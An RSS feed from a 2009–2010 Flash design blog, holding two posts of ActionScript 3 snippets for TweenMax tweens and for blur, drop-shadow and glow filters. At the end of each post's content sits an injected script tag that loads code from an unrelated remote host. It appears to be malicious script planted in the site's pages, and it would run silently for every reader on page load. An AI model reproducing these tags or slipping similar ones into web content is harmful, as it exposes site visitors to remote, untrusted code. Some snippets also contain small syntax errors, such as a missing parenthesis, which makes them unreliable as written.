<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Official Design and Development Resource of ThornyRabbit &#187; Filters</title>
	<atom:link href="http://blog.thornyrabbit.com/tag/filters/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.thornyrabbit.com</link>
	<description>because we love</description>
	<lastBuildDate>Fri, 19 Mar 2010 16:55:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>GSkinner and TweenMax &#8211; recommendation and over-view.</title>
		<link>http://blog.thornyrabbit.com/2009/03/131/</link>
		<comments>http://blog.thornyrabbit.com/2009/03/131/#comments</comments>
		<pubDate>Tue, 31 Mar 2009 18:17:56 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Filters]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[GSkinner]]></category>
		<category><![CDATA[Tween]]></category>
		<category><![CDATA[TweenMax]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=131</guid>
		<description><![CDATA[Quick over-view of implementing the excellent Tween Classes written by the GSkinner.]]></description>
			<content:encoded><![CDATA[<p>The Adobe Tweens messed me round one too many times, with their tendency to just stop working.  Tried out something from Exacimo (? link leads to very strange page)  but settled on the mostly-free, reliant, light, easy to use, well-supported <a href="http://blog.greensock.com/tweenmaxas3/" target="_blank">TweenMax by GSkinner</a> (as in Grant).</p>
<p>If I weren&#8217;t in a new country with no credit card I would tip. So, instead &#8211; a recommendation and some quick code snippets for implementing.</p>
<p><strong>Imports:</strong></p>
<p>import gs.TweenMax;<br />
import gs.easing.*;<br />
import gs.events.*;</p>
<p><strong>Declaring:</strong></p>
<p>private var startTween:TweenMax;</p>
<p><strong>Starting:</strong></p>
<p>startTween = new TweenMax(extra_mc, fadeSpeed , {alpha:0 , overwrite:1});</p>
<p>//target, duration, property and value, handling of memory</p>
<p><strong>Multiple Tweens in One Function:</strong></p>
<p>var currTween = new TweenMax(whichframe, tweenSpeed , {x:xval , y:yval , rotation:rotval , ease:Circ.easeIn});</p>
<p><strong>For color tint:</strong></p>
<p>var currTween = TweenMax.to(this, tweenSpeed , {tint:0xE36F1E});</p>
<p><strong>To Remove the Tint:</strong></p>
<p>var currTween = TweenMax.to(this, tweenSpeed , {removeTint:true};</p>
<p><strong>For Blur:</strong></p>
<p>var currTween = TweenMax.to(this, 1, {blurFilter:{blurX:20 , blurY:20}});</p>
<p><strong>For Glow:</strong></p>
<p>var currTween =  TweenMax.to(mc, 1, {glowFilter:{color:0x91e600, alpha:1, blurX:30, blurY:30}});</p>
<p><strong>Events:</strong></p>
<p>startTween.addEventListener(TweenEvent.COMPLETE , repeatFades);//not MOTION_FINISHED</p>
<p>repeatFades(event:Event); </p>
<p>//also &#8211; TweenEvent.UPDATE for each time value changes</p>
<p>Full Documentation &amp; Notes:</p>
<p>Refer to <a href="http://www.tweenmax.com" target="_blank">www.tweenmax.com</a> || <a href="http://blog.greensock.com" target="_blank">http://blog.greensock.com</a></p>
<p>See also: <a href="http://www.gskinner.com" target="_blank">GSkinner.com</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/03/131/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Applying Filters with AS3 &#8211; methods</title>
		<link>http://blog.thornyrabbit.com/2009/03/applying-filters-with-as3-methods/</link>
		<comments>http://blog.thornyrabbit.com/2009/03/applying-filters-with-as3-methods/#comments</comments>
		<pubDate>Tue, 31 Mar 2009 18:03:12 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Filters]]></category>
		<category><![CDATA[Flash]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=125</guid>
		<description><![CDATA[Applying filters with AS3 - Adobe method and simpler routes.]]></description>
			<content:encoded><![CDATA[<p><strong>Blur Filter:</strong></p>
<p>import flash.filters.BitmapFilter;</p>
<p>import flash.filters.BitmapFilterQuality;</p>
<p>import flash.filters.BlurFilter;</p>
<p>private function setBlur(myObj:Sprite):void {</p>
<p>var filter:BitmapFilter = createBlur();</p>
<p>var myFilters:Array = new Array();</p>
<p>myFilters.push(filter);</p>
<p>myObj.filters = myFilters;</p>
<p>}</p>
<p>private function createBlur():BitmapFilter {</p>
<p>var blurX:Number = 30;</p>
<p>var blurY:Number = 30;</p>
<p>return new BlurFilter(blurX, blurY, BitmapFilterQuality.HIGH);</p>
<p>}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Simpler Version of above Blur Filter:</strong></p>
<p>var blurX:Number = (mouseX &#8211; mouseY)/50;</p>
<p>var blurY:Number = (mouseX &#8211; mouseY)/50;</p>
<p>var blurFilter:BitmapFilter = new BlurFilter(blurX, blurY, BitmapFilterQuality.HIGH);</p>
<p><span> </span></p>
<p>container.filters = [blurFilter];//allows multiple filters to be added to this array</p>
<p>&#8212;&#8212;&#8212;-</p>
<p>Drop Shadow Filter:</p>
<p>import flash.filters.*;</p>
<p>private function dropShadowFilter(obj:Sprite):void {</p>
<p>var filter:BitmapFilter = getBitmapFilter();</p>
<p>var myFilters:Array = new Array();</p>
<p>myFilters.push(filter);</p>
<p>obj.filters = myFilters;</p>
<p>}</p>
<p><span> </span></p>
<p>private function getBitmapFilter():BitmapFilter {</p>
<p>var color:Number = 0&#215;000000;</p>
<p>var angle:Number = 120;</p>
<p>var alpha:Number = 0.8;</p>
<p>var blurX:Number = 8;</p>
<p>var blurY:Number = 8;</p>
<p>var distance:Number = 15;</p>
<p>var strength:Number = 0.65;</p>
<p>var inner:Boolean = false;</p>
<p>var knockout:Boolean = false;</p>
<p>var quality:Number = BitmapFilterQuality.HIGH;</p>
<p>return new DropShadowFilter(distance , angle , color , alpha , blurX , blurY , strength , quality , inner , knockout);</p>
<p>}</p>
<p>&#8212;&#8212;&#8212;</p>
<p><strong>Glow Filter:</strong></p>
<p>import flash.filters.BitmapFilter;</p>
<p>import flash.filters.BitmapFilterQuality;</p>
<p>import flash.filters.GlowFilter;</p>
<p>private function thumbOverGlow(event:MouseEvent):void{</p>
<p>setGlow(event.target);</p>
<p>}//thumbOverGlow</p>
<p>private function clearGlow(event:MouseEvent):void{</p>
<p>removeGlow(event.target);</p>
<p>}//clearGlow</p>
<p><span> </span></p>
<p><span> </span></p>
<p>//generic filter without events</p>
<p>private function setGlow(obj:Sprite):void{</p>
<p>var filterThumb:BitmapFilter = getBitmapFilter();</p>
<p>var myFiltersThumb:Array = new Array();</p>
<p>myFiltersThumb.push(filterThumb);</p>
<p>obj.filters = myFiltersThumb;</p>
<p>}//thumbOverGlow</p>
<p>private function removeGlow(obj:Sprite):void{</p>
<p>var myFiltersClearArray:Array = new Array(); //always clear with empty array</p>
<p>obj.filters = myFiltersClearArray;</p>
<p>}//removeGlow</p>
<p>private function getBitmapFilter():BitmapFilter {</p>
<p>var glowAlpha:Number = 1;</p>
<p>var blurX:Number = 3;</p>
<p>var blurY:Number = 3;</p>
<p>var strength:Number = 2;</p>
<p>var inner:Boolean = false;</p>
<p>var knockout:Boolean = false;</p>
<p>var quality:Number = BitmapFilterQuality.HIGH;</p>
<p>return new GlowFilter(glowColor, glowAlpha, blurX, blurY, strength, quality, inner, knockout);</p>
<p>}//getBitmapFilter</p>
<p>&#8212;&#8212;&#8211;</p>
<p><strong>Apply Multiple Filters:</strong></p>
<p>private function addLineFilter(obj:Sprite):void{</p>
<p>var filterShadow:BitmapFilter = getDropShadowFilter();</p>
<p>var filterGlow:BitmapFilter = getGlowFilter();</p>
<p>var myFilters:Array = new Array();</p>
<p>myFilters.push(filterShadow);</p>
<p>myFilters.push(filterGlow);</p>
<p>obj.filters = myFilters;</p>
<p>}//addLineFilter<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/03/applying-filters-with-as3-methods/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
